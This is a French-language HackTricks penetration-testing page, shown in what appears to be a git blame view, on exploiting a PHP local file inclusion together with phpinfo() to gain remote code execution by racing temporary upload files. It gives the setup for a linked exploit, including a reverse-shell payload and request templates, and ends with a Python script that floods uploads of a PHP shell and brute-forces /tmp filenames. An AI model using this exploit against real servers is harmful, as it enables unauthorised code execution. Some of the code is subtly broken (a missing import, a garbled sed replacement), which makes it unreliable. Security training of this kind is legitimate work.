hacktricks/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md

83 lines
6.6 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>
2023-06-03 13:10:46 +00:00
Pour exploiter cette vulnérabilité, vous avez besoin de : **une vulnérabilité LFI, une page où phpinfo() est affiché, "file\_uploads = on" et le serveur doit être capable d'écrire dans le répertoire "/tmp".**
2022-04-20 19:39:32 +00:00
[https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py)
2023-06-03 13:10:46 +00:00
**Tutorial HTB** : [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
2022-04-20 19:39:32 +00:00
2023-06-03 13:10:46 +00:00
Vous devez corriger l'exploit (remplacez **=>** par **=>**). Pour ce faire, vous pouvez faire :
2022-04-20 19:39:32 +00:00
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
2023-06-03 13:10:46 +00:00
Vous devez également modifier le **payload** au début de l'exploit (pour un php-rev-shell par exemple), le **REQ1** (cela devrait pointer vers la page phpinfo et inclure le rembourrage, c'est-à-dire : _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), et **LFIREQ** (cela devrait pointer vers la vulnérabilité LFI, c'est-à-dire : _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Vérifiez le double "%" lors de l'exploitation du caractère nul)
2022-04-20 19:39:32 +00:00
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
2023-06-03 13:10:46 +00:00
### Théorie
2022-04-20 19:39:32 +00:00
2023-06-03 13:10:46 +00:00
Si les téléchargements sont autorisés en PHP et que vous essayez de télécharger un fichier, ce fichier est stocké dans un répertoire temporaire jusqu'à ce que le serveur ait fini de traiter la demande, puis ce fichier temporaire est supprimé.
2022-04-20 19:39:32 +00:00
2023-06-03 13:10:46 +00:00
Ensuite, si vous avez trouvé une vulnérabilité LFI dans le serveur web, vous pouvez essayer de deviner le nom du fichier temporaire créé et exploiter une RCE en accédant au fichier temporaire avant qu'il ne soit supprimé.
2022-04-20 19:39:32 +00:00
2023-06-03 13:10:46 +00:00
Dans **Windows**, les fichiers sont généralement stockés dans **C:\Windows\temp\php<<**
2022-04-20 19:39:32 +00:00
2023-06-03 13:10:46 +00:00
Dans **Linux**, le nom du fichier est généralement **aléatoire** et situé dans **/tmp**. Comme le nom est aléatoire, il est nécessaire d'**extraire quelque part le nom du fichier temporaire** et d'y accéder avant qu'il ne soit supprimé. Cela peut être fait en lisant la valeur de la **variable $\_FILES** à l'intérieur du contenu de la fonction "**phpconfig()**".
2022-04-20 19:39:32 +00:00
**phpinfo()**
2023-06-03 13:10:46 +00:00
**PHP** utilise un tampon de **4096B** et lorsqu'il est **plein**, il est **envoyé au client**. Ensuite, le client peut **envoyer** **beaucoup de grosses requêtes** (en utilisant de gros en-têtes) **téléchargeant un shell inversé php**, attendre que la **première partie de phpinfo() soit renvoyée** (où se trouve le nom du fichier temporaire) et essayer d'**accéder au fichier temporaire** avant que le serveur php ne supprime le fichier en exploitant une vulnérabilité LFI.
2022-04-20 19:39:32 +00:00
2023-06-03 13:10:46 +00:00
**Script Python pour essayer de forcer le nom (si la longueur = 6)**
2022-04-20 19:39:32 +00:00
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
```
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>